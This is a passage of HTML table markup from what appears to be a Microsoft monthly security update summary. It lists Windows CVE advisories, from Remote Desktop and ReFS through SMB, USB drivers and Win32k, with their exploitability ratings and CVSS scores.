Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58533">CVE-2026-58533</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58535">CVE-2026-58535</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58546">CVE-2026-58546</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58539">CVE-2026-58539</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55003">CVE-2026-55003</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57979">CVE-2026-57979</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50445">CVE-2026-50445</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50497">CVE-2026-50497</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54126">CVE-2026-54126</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57982">CVE-2026-57982</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50369">CVE-2026-50369</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58626">CVE-2026-58626</a></td><td><p>Windows Remote Desktop Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55014">CVE-2026-55014</a></td><td><p>Windows Remote Help Defense Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50318">CVE-2026-50318</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50407">CVE-2026-50407</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50357">CVE-2026-50357</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50441">CVE-2026-50441</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50668">CVE-2026-50668</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54109">CVE-2026-54109</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49792">CVE-2026-49792</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49793">CVE-2026-49793</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50362">CVE-2026-50362</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50492">CVE-2026-50492</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50501">CVE-2026-50501</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58530">CVE-2026-58530</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49791">CVE-2026-49791</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50451">CVE-2026-50451</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57096">CVE-2026-57096</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50323">CVE-2026-50323</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50452">CVE-2026-50452</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50348">CVE-2026-50348</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50345">CVE-2026-50345</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50322">CVE-2026-50322</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50340">CVE-2026-50340</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50410">CVE-2026-50410</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50449">CVE-2026-50449</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50460">CVE-2026-50460</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50403">CVE-2026-50403</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50385">CVE-2026-50385</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50413">CVE-2026-50413</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50457">CVE-2026-50457</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50486">CVE-2026-50486</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50503">CVE-2026-50503</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54125">CVE-2026-54125</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58527">CVE-2026-58527</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50373">CVE-2026-50373</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50679">CVE-2026-50679</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44806">CVE-2026-44806</a></td><td><p>Windows Secure Channel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50681">CVE-2026-50681</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56186">CVE-2026-56186</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42982">CVE-2026-42982</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50392">CVE-2026-50392</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50694">CVE-2026-50694</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50367">CVE-2026-50367</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58619">CVE-2026-58619</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50311">CVE-2026-50311</a></td><td><p>Windows Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50444">CVE-2026-50444</a></td><td><p>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50328">CVE-2026-50328</a></td><td><p>Windows Server Update Service (WSUS) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58531">CVE-2026-58531</a></td><td><p>Windows SMB Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54997">CVE-2026-54997</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49801">CVE-2026-49801</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50690"><br>CVE-2026-50690</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56168">CVE-2026-56168</a></td><td><p>Windows SMB Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50360">CVE-2026-50360</a></td><td><p>Windows SMB Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57089">CVE-2026-57089</a></td><td><p>Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50333">CVE-2026-50333</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50298">CVE-2026-50298</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49171">CVE-2026-49171</a></td><td><p>Windows Speech Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49170">CVE-2026-49170</a></td><td><p>Windows StateRepository API Server file Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58526">CVE-2026-58526</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50299">CVE-2026-50299</a></td><td><p>Windows Storage Spaces Direct Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50418">CVE-2026-50418</a></td><td><p>Windows System Secure Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50306">CVE-2026-50306</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50307">CVE-2026-50307</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49177">CVE-2026-49177</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54999">CVE-2026-54999</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50669">CVE-2026-50669</a></td><td><p>Windows Telephony Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50350">CVE-2026-50350</a></td><td><p>Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50326">CVE-2026-50326</a></td><td><p>Windows Unified Consent System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49790">CVE-2026-49790</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50498">CVE-2026-50498</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58547">CVE-2026-58547</a></td><td><p>Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49794">CVE-2026-49794</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50453">CVE-2026-50453</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58528">CVE-2026-58528</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50321">CVE-2026-50321</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50479">CVE-2026-50479</a></td><td><p>Windows USB Hub Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55000">CVE-2026-55000</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54991">CVE-2026-54991</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54996">CVE-2026-54996</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49802">CVE-2026-49802</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49806">CVE-2026-49806</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50674">CVE-2026-50674</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49804">CVE-2026-49804</a></td><td><p>Windows USB Video Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50454">CVE-2026-50454</a></td><td><p>Windows User Interface Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49176">CVE-2026-49176</a></td><td><p>Windows WalletService Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49800">CVE-2026-49800</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50480">CVE-2026-50480</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56173">CVE-2026-56173</a></td><td><p>Windows WebView Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58632">CVE-2026-58632</a></td><td><p>Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54107">CVE-2026-54107</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54986">CVE-2026-54986</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54112">CVE-2026-54112</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54114">CVE-2026-54114</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50670">CVE-2026-50670</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50688">CVE-2026-50688</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50687">CVE-2026-50687</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less 